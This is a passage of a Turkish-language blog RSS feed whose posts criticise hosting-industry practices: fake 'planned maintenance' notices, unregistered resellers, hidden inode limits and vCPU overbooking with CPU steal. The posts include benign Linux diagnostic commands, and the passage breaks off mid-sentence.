<li>Cloudflare veya AWS bir kesinti yaşadığında status sayfasında dakika dakika gerçeği yazar: <em>"Saat 03:12'de Tokyo yönlendiricimizde BGP rota tablosu taştı, mühendislerimiz şu an kabloları manuel filtreliyor."</em></li>
<li>Bu şeffaflık güven yaratır.</li>
</ul>
<p>Gece 3'te "Planlı Bakım" yalanı atan firmalar ise sadece kendilerini kandırır; çünkü hiçbir müşteri gece yarısı kendi rızasıyla sunucusunun kapatılacağına inanacak kadar saf değildir.</p>
<h2>Sonuç</h2>
<p>Yangın çıkan hastanede boya-badana yalanı söyleyen idareci vicdanını kaybetmiştir; donanımı kül olduğu halde müşterisine "planlı bakım yapıyoruz" bülteni fırlatan teknoloji firması da meslek ahlakını kaybetmiştir.</p>
<p>Donanım bozulabilir; elektronik devreler yanabilir, diskler ölebilir. Mühendislik bu kazaları sıfırlama sanatı değil, kazalar olduğunda şeffaflıkla, dürüstlükle ve hızla müdahale etme olgunluğudur. Yalanların arkasına saklanarak Uptime inşa edemezsiniz; gerçek güven kriz anında müşterinize söylediğiniz dürüst kelimelerin üzerinde yükselir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Planlı Bakım</category>
            <category>Hosting</category>
            <category>Donanım Arızası</category>
            <category>SysAdmin</category>
            <category>Kriz İletişimi</category>
            <category>Kesinti</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/gece-3te-gelen-planli-bakim-yalani-ve-patlayan-donanimlar/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Vergi Levhasız, Instagram ve Forum Üzerinden Hosting Satan 'Mahalle Girişimcisi']]></title>
            <link>http://localhost:3000/blog/post/vergi-levhasiz-instagram-ve-forum-uzerinden-hosting-satan-mahalle-girisimcisi</link>
            <guid>vergi-levhasiz-instagram-ve-forum-uzerinden-hosting-satan-mahalle-girisimcisi</guid>
            <pubDate>Tue, 30 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Yurtdışından 30 Euro'ya kiraladığı sunucuyla forumlarda 'Lider Bilişim' maskesi takıp faturasız hosting satan ve ilk krizde Instagram hesabını kapatıp buharlaşan liseli girişimciler.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/vergi-levhasiz-instagram-ve-forum-uzerinden-hosting-satan-mahalle-girisimcisi/thumbnail" alt=""> Tıp fakültesi 1. sınıf öğrencisi bir gencin, Eminönü'nden ikinci el bir tansiyon aleti ve stetoskop alıp mahallede "Özel Denizhan Cerrahi Tıp Merkezi" diye bir Instagram hesabı açtığını hayal edin. Profiline internetten bulduğu ameliyathane fotoğraflarını koyar: <em>"7/24 Kesintisiz Cerrahi Operasyon, 15 Yıllık Tecrübe, Şifanın Tek Adresi!"</em> Mahalledeki komşulardan, teyzelerden "Abla faturaya gerek yok, elden 500 lira ver ben senin apandisitini evde hallederim" diyerek müşteri toplar. Birkaç pansumanı tesadüfen düzgün yapar; ta ki bir gün hastanın dikişi patlayıp masif bir iç kanama başlayana kadar. Hasta yakınları feryat figan kliniğin kapısına dayandığında, gencin kapıyı kilitleyip Instagram hesabını kapattığını (<code>Kullanıcı Bulunamadı</code>), telefon numarasını değiştirdiğini ve üniversite yurduna kaçtığını görürler. Ortada ne bir tüzel kişilik, ne bir diploma, ne bir vergi kaydı, ne de hesap sorulacak resmi bir muhatap vardır.</p>
<p>Türkiye'deki web geliştirme ve bilişim ekosisteminde forumlarda (R10, WMAracı) veya Instagram sayfalarında <strong>"Vergi Levhasız, Sözleşmesiz, Faturasız Hosting Satan Mahalle Girişimcisi"</strong> gerçeği, tam olarak bu merdiven altı sözde cerrahın dijital kopyasıdır.</p>
<hr>
<h2>"Hosting Satıp Zengin Olma" Rüyası Nasıl Başlar?</h2>
<p>Senaryo Türkiye'de son 20 yıldır hiç değişmemiştir:<br>
Lise son sınıf veya üniversiteye yeni başlamış hevesli bir genç, internette gezinirken Hetzner veya OVH'ın ucuz kiralık sunucu sayfalarına denk gelir.</p>
<ul>
<li>Aylık 30 Euro'ya bir sunucu kiralar.</li>
<li>Üzerine cPanel/WHM veya ücretsiz bir CyberPanel kurar.</li>
<li>Canva'da 10 dakikada fütüristik bir logo tasarlar: <em>"AuraCloud Bilişim Hizmetleri"</em>.</li>
<li>Foruma ilan açar:<br>
<code>"YILBAŞI KAMPANYASI! Sınırsız NVMe Disk, Sınırsız Trafik, 8 Core CPU, Yıllık Sadece 150 TL! Kaçırmayın!"</code></li>
</ul>
<p>Müşteri profili de bellidir: Bütçesi kısıtlı olan küçük esnaflar, öğrenci projeleri, mahalle berberleri ve "Ucuza web sitesi yapayım" diyen acemi tasarımcılar.</p>
<p>Alışveriş son derece gayriresmidir:<br>
<em>"Abi Papara'dan veya IBAN'a 'Borç Ödemesi' açıklamasıyla 150 TL at, sunucun 5 dakikada aktif!"</em></p>
<p>Fatura? Yok. Sözleşme? Yok. Hizmet Seviyesi Taahhüdü (SLA)? Yok. Açık adres? Bir öğrenci evinin salonu.</p>
<hr>
<h2>İlk Kriz: Sorumluluğun Buharlaşma Anı</h2>
<p>İlk 6 ay her şey toz pembe ilerler. Genç arkadaşımız ayda 50-60 müşteriden topladığı parayla harçlığını çıkarır, kafelerde kahve içer.</p>
<p>Ancak bilişim dünyası acımasızdır; donanım arızası, siber saldırı veya döviz kuru affetmez:</p>
<pre><code>[KASIM AYI: KRİZ BAŞLIYOR]
1. Sunucuya 50 Gbps hacminde bir DDoS saldırısı gelir.
2. Almanya veri merkezi sunucunun fişini çeker (Null Route).
3. 60 müşterinin web sitesi ve kurumsal mailleri anında kapanır.
         │
         ▼
[MÜŞTERİLERİN REAKSİYONU]
WhatsApp'tan mesaj yağar: "Sitem kapandı!", "Maillerim nerede?!"
         │
         ▼
[GİRİŞİMCİNİN RUH HALİ: PANİK VE İNKÂR]
Genç arkadaşımız Linux terminalinden anlamamaktadır.
DDoS koruması nasıl kurulur bilmemektedir.
Almanya'ya İngilizce destek bileti yazacak seviyede değildir.
Telefon aralıksız çalmaktadır: Bir avukat "Davalarım yandı!" diye bağırmaktadır.
         │
         ▼
[NİHAİ ÇÖZÜM: BUHARLAŞMA (GHOSTING)]
1. WhatsApp hattı kapatılır.
2. Instagram profili silinir.
3. Forumdaki konu kilitlenir, profil terk edilir.
4. Genç arkadaşımız laptop kapağını kapatıp final sınavlarına çalışmaya gider!
</code></pre>
<p>Müşteriler ise ekranda tek bir satır görür: <code>ERR_NAME_NOT_RESOLVED</code>. 60 esnafın dijital varlığı, bir gencin laptop kapağını kapatmasıyla yeryüzünden silinmiştir.</p>
<hr>
<h2>Vergi Levhası Neden Sadece Bir Kâğıt Parçası Değildir?</h2>
<p>Birçok acemi kullanıcı şöyle düşünür: <em>"Ben hosting alıyorum, bana fatura lazım değil ki. Şirketim yok, vergiden düşmeyeceğim. 150 TL vereyim işim görülsün."</em></p>
<p>Bu, kurumsal hukukun ve ticari güvencenin mantığını kavrayamamaktır.</p>
<p>Vergi levhası ve resmi şirket kaydı, devletin size kestiği vergiyle ilgili değildir; <strong>hukuki sorumluluk ve yaptırımla ilgilidir:</strong></p>
<ol>
<li><strong>Hukuki Muhataplık (Tüzel Kişilik):</strong><br>
Fatura kesen bir Limited veya Anonim Şirket battığında veya verinizi sildiğinde elinizde Ticaret Sicil Gazetesi'nde kayıtlı bir adres, bir vergi numarası ve mahkemede hesap sorabileceğiniz bir tüzel kişilik vardır. İcra takibi başlatabilir, tazminat davası açabilirsiniz.</li>
<li><strong>Kişisel Verilerin Korunması (KVKK):</strong><br>
Vergi kaydı olmayan bir şahsa sitenizi emanet ettiğinizde, müşterilerinizin kredi kartı bilgilerini, telefonlarını ve şifrelerini sokaktaki tanımadığınız bir gencin evindeki bilgisayara teslim etmiş olursunuz. O gencin o veritabanını Dark Web'de satmayacağının hiçbir yasal garantisi yoktur.</li>
<li><strong>Mali Sürdürülebilirlik:</strong><br>
Resmi bir şirketin banka hesapları, kredi limitleri ve yedek sermayesi vardır. Dolar kuru arttığında ertesi gün batıp kaçmaz; zararı göğüsleyip hizmeti sürdürür.</li>
</ol>
<hr>
<h2>Forum Mağdurları Köşesi: "Savcılığa Versem Bir Şey Çıkar Mı?"</h2>
<p>Bu facia yaşandıktan sonra bilişim forumlarında her ay açılan o meşhur başlıklar gelir:<br>
<em>"X Bilişim sunucularımızı kapattı ve kaçtı! 150 liralık VDS için savcılığa gitsem masrafına değer mi?"</em></p>
<p>Avukatlar acı gerçeği söyler:</p>
<ul>
<li>Zararınız 150 TL'dir (hukuken görünen rakam).</li>
<li>Avukat tutmak, ihtarname çekmek ve dava açmak 25.000 TL tutacaktır.</li>
<li>Şahsın üzerine kayıtlı hiçbir mal varlığı, şirketi veya banka hesabı yoktur; para annesinin veya babasının IBAN'ına atılmıştır.</li>
<li>Savcılık "Bu bir ticari alacak-verecek ihtilafıdır, dolandırıcılık kastı ispatlanamaz, hukuk mahkemesine gidin" diyerek takipsizlik kararı verir.</li>
</ul>
<p>Günün sonunda esnaf kaybettiği binlerce liralık müşteri siparişiyle, silinen 5 yıllık emeğiyle baş başa kalır.</p>
<hr>
<h2>Güvenli Sağlayıcı Seçiminin 4 Altın Filtresi</h2>
<p>Bir sağlayıcıdan tek bir megabaytlık hosting bile satın almadan önce şu 4 filtreyi mutlaka uygulayın:</p>
<pre><code>[FİLTRE 1] Vergi Levhası ve Fatura Kontrolü:
- Sitede açıkça şirket unvanı (A.Ş. veya Ltd. Şti.) ve vergi dairesi yazıyor mu?
- Kredi kartıyla ödeme yaptığınızda anında e-Arşiv / e-Fatura kesiliyor mu?
  (Eğer 'Sadece Papara / Kişisel IBAN' diyorsa oradan koşarak uzaklaşın!)

[FİLTRE 2] BTK Yer Sağlayıcı Kaydı:
- Bilgi Teknolojileri ve İletişim Kurumu'nun (BTK) resmi 'Faaliyet Belgesi Olan
  Yer Sağlayıcılar' listesinde firmanın adı var mı?

[FİLTRE 3] Fiziksel Adres ve Sabit Santral:
- İletişim sayfasında sadece bir cep telefonu mu var, yoksa 0850 / 0212'li kurumsal
  bir santral ve ziyaret edilebilir bir ofis adresi mevcut mu?

[FİLTRE 4] Domain Tescil Tarihi:
- Whois sorgusunda firmanın domaini 3 ay önce mi alınmış, yoksa 10 yıldır piyasada olan
  köklü bir yapı mı?
</code></pre>
<h2>Sonuç</h2>
<p>Diplomasız, ameliyathanesiz bir sahtekarın eline canınızı emanet edemezseniz; vergi levhası olmayan, odasındaki laptopla hosting satan bir şahsın eline de şirketinizin ticari hafızasını emanet edemezsiniz.</p>
<p>Üç kuruş kâr etmek uğruna kurumsal ciddiyeti terk edenler, ilk krizde paralarını değil; yılların emeğini ve itibarlarını kaybederler. Ucuzluğun şehvetine kapılmayın; altyapınızı sokak tezgahlarına değil, faturasıyla ve tüzel kişiliğiyle arkanızda duran yasal kurumlara teslim edin.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Hosting</category>
            <category>Girişimcilik</category>
            <category>Vergi Levhası</category>
            <category>Dolandırıcılık</category>
            <category>R10</category>
            <category>Merdiven Altı</category>
            <category>Kültür</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/vergi-levhasiz-instagram-ve-forum-uzerinden-hosting-satan-mahalle-girisimcisi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Inode Sınırına Tokatlanan 'Sınırsız Disk' İllüzyonu]]></title>
            <link>http://localhost:3000/blog/post/inode-sinirina-tokatlanan-sinirsiz-disk-illuzyonu</link>
            <guid>inode-sinirina-tokatlanan-sinirsiz-disk-illuzyonu</guid>
            <pubDate>Mon, 29 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Hosting firmalarının 'Sınırsız NVMe Disk Alanı!' afişlerinin arkasına sakladığı 100.000 dosya sayısı (Inode) limiti ve diskte 500 GB boş yer varken 'Disk Dolu' hatasıyla kilitlenen sistemler.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/inode-sinirina-tokatlanan-sinirsiz-disk-illuzyonu/thumbnail" alt=""> Büyük bir lojistik merkezinden veya medikal depodan hastaneniz için bir depo kiraladığınızı hayal edin. Depo şirketi devasa afişler basmıştır: <em>"SINIRSIZ TAŞIMA KAPASİTESİ! İstediğiniz ağırlıkta, tonlarca tıbbi cihazı, oksijen tüpünü, serum kolilerini bu depoya yığabilirsiniz! Ağırlık sınırı yok!"</em> Sözleşmeyi imzalarsınız. Depoya girip malzemeleri yerleştirmeye başlarsınız. Ancak 101. kutuyu kapıdan sokmak istediğinizde deponun güvenlik görevlisi önünüze dikilir: <em>"Durun! İçeriye daha fazla malzeme sokamazsınız!"</em> Şaşırırsınız: <em>"Nasıl sokamam? Depo bomboş, içerideki eşyaların toplam ağırlığı 50 kilo bile değil, siz sınırsız tonaj vaat etmiştiniz!"</em> Görevli sırıtır, cebinden 40 sayfalık sözleşmeyi çıkarır ve en alttaki mikroskobik 6 punto dipnotu gösterir: <em>"Madde 48-B: Depomuz ağırlık olarak sınırsızdır; ancak depoya sokulabilecek toplam bağımsız parça sayısı (nesne adedi) 100 ile sınırlıdır. İçeriye 100 adet dikiş iğnesi koysanız bile hakkınız biter."</em> Tonlarca boş yeri olan devasa depo, 100 adet iğne yüzünden kilitlenmiştir.</p>
<p>Web barındırma (Shared Hosting) sektöründe pazarlamacıların en sevdiği ve en çok can yakan illüzyonlarından biri tam olarak bu depodur: <strong>"Sınırsız Disk Alanı"</strong> yalanı ve arkasına pusu kurulmuş olan acımasız <strong>Inode (İndeks Düğümü) Sınırı.</strong></p>
<hr>
<h2>Linux Dosya Sisteminin Gerçeği: Inode Nedir?</h2>
<p>Birçok bilgisayar kullanıcısı dosya sistemini sadece megabaytlar ve gigabaytlar olarak algılar. Ancak Linux dosya sistemlerinde (ext4, XFS) durum çok farklıdır.</p>
<p>Bir disk iki ayrı parametreyle dolabilir:</p>
<ol>
<li><strong>Blok Alanı (Boyut):</strong> Diskin kapladığı fiziksel bayt miktarı (GB).</li>
<li><strong>Inode (İndeks Düğümü / Dosya Adedi):</strong> Dosya sisteminde oluşturulabilecek toplam dosya ve klasör adedi!</li>
</ol>
<p>Her bir dosya, klasör, sembolik bağ (symlink) veya geçici oturum dosyası, diskte boyutundan bağımsız olarak tam <strong>1 adet Inode</strong> tüketir.</p>
<ul>
<li>10 GB'lık tek bir devasa film dosyası: <strong>1 Inode</strong> tüketir.</li>
<li>İçinde sadece tek bir harf yazan 1 baytlık 100.000 adet metin dosyası: <strong>100.000 Inode</strong> tüketir!</li>
</ul>
<pre><code>+------------------------------------------------------------------------+
|                      MÜŞTERİNİN GÖRDÜĞÜ PANEL                          |
|                                                                        |
|  Disk Kullanımı: 4.2 GB / SINIRSIZ (Kullanılan: %0.01)  [Yeşil Çubuk]  |
|                                                                        |
|------------------------------------------------------------------------|
|                      GİZLENEN GERÇEK: INODE LİMİTİ                     |
|                                                                        |
|  Dosya Adedi (Inode): 250.000 / 250.000 (%100 DOLU!)   [KIRMIZI ALARM] |
|                                                                        |
|  SONUÇ: Diskte 500 GB boş yer var; ama 1 baytlık yeni dosya açılamaz!  |
+------------------------------------------------------------------------+
</code></pre>
<hr>
<h2>Patolojinin Gelişimi: "Disk Dolu: No Space Left on Device"</h2>
<p>Müşteri e-ticaret sitesine WooCommerce kurar, bir önbellek (Cache) eklentisi (WP Rocket, LiteSpeed Cache) ekler ve 5.000 adet ürün yükler:</p>
<ul>
<li>Her ürün için WordPress otomatik olarak 8 farklı boyutta küçük resim (thumbnail) üretir (40.000 dosya).</li>
<li>LiteSpeed Cache her ziyaretçi ve her sayfa için küçük bir HTML önbellek dosyası üretir (80.000 dosya).</li>
<li>PHP oturum dosyaları ve sistem logları birikir (50.000 dosya).</li>
<li>E-postalar gelen kutusunda birikir (40.000 dosya).</li>
</ul>
<p>Toplam disk alanı: Yalnızca <strong>3.8 GB</strong>. Sağlayıcının vaat ettiği "Sınırsız" diskin zerresi bile kullanılmamıştır.</p>
<p>Ancak gece saat 23:00'te sağlayıcının CloudLinux / cPanel Inode sayacı <strong>250.000</strong> tavanına çarpar!</p>
<p>Ve o an sistemde kaos başlar:</p>
<ol>
<li><strong>Veritabanı Yazamaz:</strong> MySQL geçici tablo oluşturamaz.</li>
<li><strong>Resim Yüklenemez:</strong> Medya kütüphanesine yeni ürün resmi atamazsınız: <code>Upload failed. Could not write file to disk.</code></li>
<li><strong>E-postalar Reddedilir:</strong> Gelen mailler sunucuya giremez: <code>Mailbox is full / Disk quota exceeded.</code></li>
<li><strong>Site Çöker:</strong> Önbellek eklentisi yeni dosya yazamadığı için PHP ölümcül hata verir: <code>Fatal error: Unknown: Failed to open stream: No space left on device.</code></li>
</ol>
<p>Müşteri cPanel'e girer: Disk kullanımında "4 GB / Sınırsız" yazmaktadır! Müşteri çıldırır: <em>"Diskim boşken neden disk dolu hatası alıyorum?!"</em></p>
<hr>
<h2>Müşteri Hizmetlerinin Pişkinliği: "Alanınız Değil, Adediniz Doldu!"</h2>
<p>Müşteri destek bileti açar:<br>
<em>"Sunucumda disk dolu hatası alıyorum, acilen düzeltin!"</em></p>
<p>Destek ekibinin o ezberletilmiş yanıtı gelir:<br>
<em>"Sayın müşterimiz, hosting paketlerimizde disk alanı sınırsız olmakla birlikte, sunucu sağlığını ve I/O dengesini korumak adına maksimum Inode limitimiz 250.000 dosyadır. Hesabınız Inode sınırına ulaştığı için yeni dosya oluşturulması sistem tarafından kısıtlanmıştır. Lütfen sitenizdeki gereksiz dosyaları, resimleri ve cache klasörlerinizi silerek dosya sayınızı 200.000'in altına düşürünüz."</em></p>
<p>Müşteri haklı olarak isyan eder:<br>
<em>"Siz sitenize kocaman 'Sınırsız Disk' yazdınız! Ben neden kendi sitemin önbelleğini ve ürün resimlerini silmek zorundayım?!"</em></p>
<p>Ama nafiledir. Hizmet sözleşmesinin 72. maddesinde o minik Inode kuralı durmaktadır.</p>
<hr>
<h2>Hosting Firmaları Neden Inode Sınırı Koyar?</h2>
<p>Peki, sağlayıcılar bu sınırı neden koyar? Sırf müşteriye eziyet etmek için mi?</p>
<p>Burada mühendislik açısından acı bir gerçek yatar: <strong>Dosya Sisteminin Fiziksel Sınırları.</strong></p>
<ul>
<li>Tek bir fiziksel sunucuda 1.000 müşterinin olduğunu düşünün.</li>
<li>Her müşteri "Sınırsız diskim var" diyerek sunucuya 2 milyon adet küçük dosya (örneğin kontrolsüz bir Node.js <code>node_modules</code> klasörü veya cache) yüklerse; o sunucuda <strong>2 Milyar adet dosya</strong> oluşur!</li>
<li>Linux dosya sistemi 2 milyar dosyanın olduğu bir dizinde <code>ls</code> yaparken, yedek alırken (<code>tar / rsync</code>) veya virüs taraması çalıştırırken kilitlenir. Disk I/O kuyruğu felç olur.</li>
</ul>
<p>Dolayısıyla teknik olarak bir dosya sayısı sınırı koymak makuldür. <strong>Sahtekarlık olan kısım; bu sınırı gizleyip afişlere "SINIRSIZ DİSK" yazarak müşteriyi kandırmaktır.</strong></p>
<hr>
<h2>Teşhis: Terminalde Inode Taraması</h2>
<p>Sunucunuzda Inode sınırına dayanıp dayanmadığınızı görmek için terminale şu cerrahi komutu yazın:</p>
<pre><code class="language-bash"># Inode kullanım durumunu gösterir:
df -i

# Örnek Çıktı:
# Filesystem      Inodes   IUsed   IFree IUse% Mounted on
# /dev/sda1       1000000 1000000       0  100% /
</code></pre>
<p>Ekranda <code>IUse% 100%</code> görüyorsanız, kaç gigabayt boş yeriniz olduğunun hiçbir önemi yoktur; dosya sisteminiz boğulmuştur.</p>
<h3>Hangi Klasörün Inode Canavarı Olduğunu Bulma Formülü:</h3>
<p>Hangi dizinde milyonlarca dosya biriktiğini bulmak için şu tek satırlık bash betiğini çalıştırın:</p>
<pre><code class="language-bash">find /var/www/vhosts/site.com/public_html -maxdepth 3 -type d -exec sh -c 'echo -n "{}: "; find "{}" -maxdepth 1 | wc -l' \; | sort -n -k 2
</code></pre>
<p>Çıktı suçluyu anında gösterir:</p>
<ul>
<li><code>wp-content/uploads</code>: 12.000 dosya</li>
<li><code>wp-content/cache/supercache</code>: <strong>185.000 dosya!</strong> (İşte katil buradadır!)</li>
</ul>
<hr>
<h2>Cerrahi Çözüm: Inode Diyetine Girmek</h2>
<p>Eğer paylaşımlı bir hostingde mahsur kaldıysanız ve paketinizi yükseltemiyorsanız acil durum temizliği şarttır:</p>
<ol>
<li><strong>Önbellek Dosyalarını Dosya Sisteminden Belleğe Taşıyın:</strong><br>
Önbelleği diskte milyonlarca <code>.html</code> dosyası olarak tutmak yerine <strong>Redis</strong> veya <strong>Memcached</strong> nesne önbelleğine geçin. Bellekteki anahtarlar Inode tüketmez.</li>
<li><strong>Kullanılmayan Görsel Boyutlarını Kapatın:</strong><br>
WordPress temanızın her yüklenen resim için 10 farklı boyut üretmesini engelleyin (<code>Settings -> Media -> Thumbnail sizes -> 0</code>).</li>
<li><strong>E-Posta Çöpünü Temizleyin:</strong><br>
Webmail üzerindeki <code>Junk / Spam</code> ve <code>Trash</code> klasörlerindeki yüz binlerce eski maili boşaltın.</li>
<li><strong>Gerçek Çözüm: Kendi VDS'inize Geçin!</strong><br>
Kendi sanal sunucunuzu (VDS) kiraladığınızda diski kendi istediğiniz Inode değeriyle (<code>mkfs.ext4 -N 10000000 /dev/sdb</code>) biçimlendirirsiniz. Başkasının koyduğu hayali 250 bin sınırına mahkum kalmazsınız.</li>
</ol>
<h2>Sonuç</h2>
<p>100 iğne koyunca dolan bir depoya "sınırsız" denilemez; 250 bin dosya adedinde kilitlenen bir hosting paketine de "sınırsız disk" denilemez.</p>
<p>Pazarlama sloganları sizi uyutmasın; dijital dünyada hiçbir kaynak sınırsız değildir. Bir hosting sağlayıcısının kalitesi vaat ettiği sınırsız hayallerle değil; sözleşmesine dürüstçe yazdığı teknik limitlerle ölçülür. Altyapınızı seçerken gigabaytlara değil, Inode sınırlarına bakın; yoksa boş bir diskin ortasında kilitli kalan dosyalarınızın feryadını dinlersiniz.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Inode</category>
            <category>Linux</category>
            <category>Hosting</category>
            <category>Sınırsız Disk</category>
            <category>cPanel</category>
            <category>Dosya Sistemi</category>
            <category>Pazarlama</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/inode-sinirina-tokatlanan-sinirsiz-disk-illuzyonu/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[vCPU Overbooking Çilesi ve CPU Steal Zamanları]]></title>
            <link>http://localhost:3000/blog/post/vcpu-overbooking-cilesi-ve-cpu-steal-zamanlari</link>
            <guid>vcpu-overbooking-cilesi-ve-cpu-steal-zamanlari</guid>
            <pubDate>Sun, 28 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Sanal sunucu kiralarken 8 vCPU satın aldığını zanneden ama hipervizörün o çekirdekleri 50 müşteriye aynı anda paylaştırmasıyla %90 CPU Steal tuzağına düşen ekiplerin çaresizliği.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/vcpu-overbooking-cilesi-ve-cpu-steal-zamanlari/thumbnail" alt=""> Şehirlerarası yolcu taşımacılığı yapan bir otobüs firmasını gözünüzün önüne getirin. Otobüsün toplam 40 adet standart koltuğu vardır. Ancak firmanın bilet satış algoritması kâr hırsıyla gözünü karartır ve aynı sefere tam 300 kişiye koltuk numaralı bilet keser (Overbooking / Çifte Rezervasyon). Yolcular otobüse bindiğinde koridorlar, koltuk araları, bagaj bölmeleri insanla dolar. İnsanlar birbirinin omzuna basmakta, nefes almak için sırayla pencereyi açmaktadır. Ağırlıktan dolayı otobüsün şasisi yere sürtünür; ilk dik yokuşa geldiğinde motor hararet yapar ve saatte 10 kilometre hıza kadar düşer. Yolcular isyan ettiğinde ise muavin mikrofonu alır ve yüzsüzce şunu anons eder: <em>"Sayın yolcularımız, otobüsümüzde hiçbir arıza yoktur. Yokuş çok dik olduğu ve sizler de kişisel olarak çok ağır olduğunuz için araç yavaşlamıştır. Lütfen bavullarınızı camdan aşağı atınız!"</em> Bu bir toplu taşıma hizmeti değil; fizik kurallarını ve insan onurunu hiçe sayan bir dolandırıcılık modelidir.</p>
<p>Sanal sunucu (VPS/VDS) pazarında <strong>"vCPU Overbooking (Sanal Çekirdek Aşırı Rezervasyonu)"</strong> tam olarak bu 40 kişilik otobüse 300 yolcu bindirme sahtekarlığıdır.</p>
<p>Siz faturanızı öder, "8 vCPU, 16 GB RAM" paketini satın alırsınız. Kağıt üzerinde 8 çekirdekli dev bir canavarınız vardır. Ancak terminali açıp basit bir veritabanı sorgusu attığınızda, sistemin kilitlendiğini ve işletim sisteminizin <strong><code>%st</code> (CPU Steal)</strong> batağında boğulduğunu görürsünüz.</p>
<hr>
<h2>vCPU Nedir? Fiziksel Çekirdek ile Sanal İş Parçacığı Ayrımı</h2>
<p>Sanallaştırma dünyasında (KVM, QEMU, VMware ESXi, Proxmox) bir sanal sunucuya atanan <strong>vCPU (Virtual CPU)</strong>, fiziksel bir işlemci çekirdeği değildir!</p>
<p>Bir vCPU, fiziksel işlemcinin işletim sistemi zamanlayıcısı (Kernel Scheduler) tarafından çalıştırılan sıradan bir <strong>iş parçacığıdır (thread / task)</strong>.</p>
<p>Fiziksel sunucunun (Host Node) 16 çekirdekli (32 Thread) bir AMD EPYC veya Intel Xeon işlemcisi olduğunu varsayalım:</p>
<ul>
<li><strong>Profesyonel Oran (1:1 veya 1:2):</strong> 32 fiziksel iş parçacığına toplamda en fazla 32 ila 64 vCPU atanır. Her sanal sunucu gerçek işlemci zamanını adilce ve beklemeden alır.</li>
<li><strong>Overbooking Bataklığı (1:10 veya 1:20):</strong> Sağlayıcı aynı 32 iş parçacığının üzerine toplamda <strong>500 vCPU</strong> tanımlar ve satar!</li>
</ul>
<pre><code>[FİZİKSEL HOST DÜĞÜMÜ: 32 Fiziksel Thread]
                      │
                      ▼ (Hipervizör Zamanlayıcısı: KVM / CFS Scheduler)
      ┌───────────────┼───────────────┬───────────────┐
      ▼               ▼               ▼               ▼
[Sanal Makine 1] [Sanal Makine 2] [...] [SİZİN SUNUCUNUZ (VM 48)]
   (vCPU: 4)        (vCPU: 8)                (vCPU: 8)
   Mining Yapıyor   Dizi Yayını             WordPress / E-Ticaret
</code></pre>
<p>Bu ortamda 50 farklı sanal sunucu aynı milisaniyede işlemciye talimat göndermek ister. Ancak fiziksel çekirdek sayısı 32'dir!<br>
Hipervizör zamanlayıcısı ne yapar? Zamanı mikrosaniyelik dilimlere (time slices) böler ve herkesi kuyruğa sokar.</p>
<hr>
<h2>CPU Steal (%st): İşlemcinizin Çalınma Oranı</h2>
<p>Linux işletim sisteminde terminali açıp <code>top</code> veya <code>htop</code> yazdığınızda en üstteki CPU istatistik satırında gizemli harfler görürsünüz:<br>
<code>us</code> (user), <code>sy</code> (system), <code>id</code> (idle), <code>wa</code> (iowait)... ve satırın en sonunda: <strong><code>st</code> (steal)</strong>.</p>
<p><code>st</code> parametresi, sanal makinenizin şu feryadıdır:<br>
<em>"Ben çalışmaya hazırım, çalıştırmak istediğim PHP kodum ve MySQL sorgum var; ancak alttaki hipervizör beni durdurdu ve benim işlemci hakkımı komşu sanal makineye verdi!"</em></p>
<pre><code class="language-text">top - 14:22:08 up 3 days, 1:12, 1 user, load average: 12.45, 8.12, 4.30
%Cpu(s): 3.2 us, 1.1 sy, 0.0 ni, 15.4 id, 2.1 wa, 0.0 hi, 0.1 si, 78.1 st 🔴
</code></pre>
<p>Ekranda gördüğünüz <strong><code>78.1 st</code></strong>, şu korkunç gerçeği haykırır:</p>
<ul>
<li>Satın aldığınız 8 vCPU gücünün <strong>%78'i komşularınız tarafından çalınmaktadır!</strong></li>
<li>Sizin sunucunuz 1 saniyenin yalnızca 220 milisaniyesinde işlem yapabilmekte, kalan 780 milisaniyesinde hipervizör kapısında bekletilmektedir!</li>
</ul>
<p>İşte bu yüzden 8 çekirdekli sunucunuzda basit bir WordPress sayfası 15 saniyede açılır; load average 12'ye fırlar ve sistem felç olur.</p>
<hr>
<h2>Sahte "Load Average" Yükselişi: Bekleyen Kuyruklar</h2>
<p>Birçok sistem yöneticisi sunucunun <code>load average</code> değerinin 10-15 olduğunu görünce "Siteme saldırı var" veya "Kodlarımda sonsuz döngü var" sanır.</p>
<p>Oysa Linux'ta Load Average sadece çalışan işleri değil; <strong>çalışmak için CPU sırası bekleyen (Uninterruptible Sleep / R State)</strong> iş parçacıklarının sayısını da ölçer.</p>
<p>CPU Steal %80 olduğunda, 10 farklı PHP işlemi işlemciye girmek için sırada bekler. Kod hafif olsa bile kuyruk uzar; sistem çökmüş gibi görünür. Gerçekte kodunuzda hiçbir sorun yoktur; sorun, otobüsün koridorunda sıkışıp kalmış olmanızdır.</p>
<hr>
<h2>"Sunucunuzda Yoğunluk Var" Kandırmacası</h2>
<p>Durumu fark eden müşteri sağlayıcıya yazar:<br>
<em>"Sunucumda %85 CPU Steal var, işlemcimi kullanamıyorum, hipervizörünüz aşırı yüklü!"</em></p>
<p>Merdiven altı sağlayıcının destek personeli durumu saptırmak için klasik taktiği uygular:<br>
<em>"Sayın müşterimiz, sunucunuzun Load Average değeri 14 görünmektedir. Web siteniz aşırı trafik almakta ve kaynak limitlerini zorlamaktadır. Lütfen eklentilerinizi devre dışı bırakıp tekrar deneyiniz."</em></p>
<p>Müşteri mühendislikten anlamıyorsa suçluluk psikolojisine girer: <em>"Acaba hangi eklenti bozdu?"</em> diyerek günlerce kendi kodunu kurcalar.</p>
<p>Oysa yapılması gereken tek şey şudur: Sunucuda hiçbir web sitesi çalıştırmasanız bile, bomboş bir Linux terminalinde basit bir döngü çalıştırın:</p>
